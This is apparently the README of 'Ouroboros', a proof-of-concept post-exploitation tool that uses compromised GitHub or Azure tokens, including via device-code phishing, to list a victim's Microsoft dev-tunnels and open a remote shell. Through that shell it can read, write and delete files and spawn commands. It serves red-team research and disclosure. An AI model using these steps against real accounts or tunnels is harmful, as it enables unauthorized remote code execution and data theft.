Ouroboros
A POC post-exploitation tool which allows connecting and executing commands on a dev-tunnel.
Blog post at: https://specterops.io/blog/2026/04/30/dev-tunnels-the-accidental-c2/
What is it?
Microsoft dev-tunnels are used as part of the VSCode Remote Connect functionality, however the protocol supports a number of low-level utility functions.
What can it be used for?
Authentication to dev-tunnels uses one of the following OAuth methods:
- GitHub Account - A client ID of
01ab8ac9400c4e429b23 - Azure Account - A client ID of
aebc6443-996d-45c2-90f0-388ff96faa56
GitHub Post-Exploitation
If you have compromised a GitHub account, it is possible to enumerate any dev-tunnels associated with that account by authorizing the "Visual Studio Code" OAuth2 application:
This application also allows Device Code registration, meaning that you can go from OAuth2 Device Code Phishing to RCE on any enrolled dev-tunnels.
Entra-ID Post-Exploitation
There are a few ways to use this for Entra ID connected tunnels.
For FOCI, you can use any Client ID which is part of FOCI and also has the Dev Tunnels Service resource available. The one that stands out is 872cd9fa-d31f-45e0-9eab-6e460a02d1f1 (Visual Studio - Legacy).
Alternatively, the Visual Studio Code aebc6443-996d-45c2-90f0-388ff96faa56 Client ID is used by VSCode to connect users.
Usage
To build:
cd ouroboros
cargo build
Usage
First you'll need to list out any existing tunnels. You can do this with:
./ouroboros management --token [GITHUB/AZURE TOKEN]
The list of tunnels returned will look like this:
Tunnel List:
Name: sneaky-fog-s5llk1t
Labels: ["prometheus", "protocolv4", "vscode-server-launcher", "_flag3"]
Created: "2025-11-03T11:20:51.376614Z"
Name: interesting-horse-lztwqbj
Labels: ["serenitylocal", "protocolv4", "vscode-server-launcher", "_flag8"]
Created: "2026-04-13T11:54:57.1330336Z"
You can then spawn a virtual shell with:
./ouroboros --name interesting-horse-lztwqbj --token [GITHUB/AZURE TOKEN]
Several commands are supported:
>> help
Available commands:
help
gethostname
get_env
sys_kill <pid>
fs_stat <path>
fs_read <path>
fs_write <path> <data>
fs_rm <path>
fs_mkdirp <path>
fs_readdir <path>
fs_rename <from_path> <to_path>
spawn <command> [args...]
Patching russh
(Not needed as russh is already patched in this repo)...
Because dev-tunnels uses a weird protocol deviation (clients use the forwarded-tcpip channel which is usually for servers), a patch is required to russh which lives in russh.patch.
This can be applied with:
cd russh
git apply ../patch/russh.patch


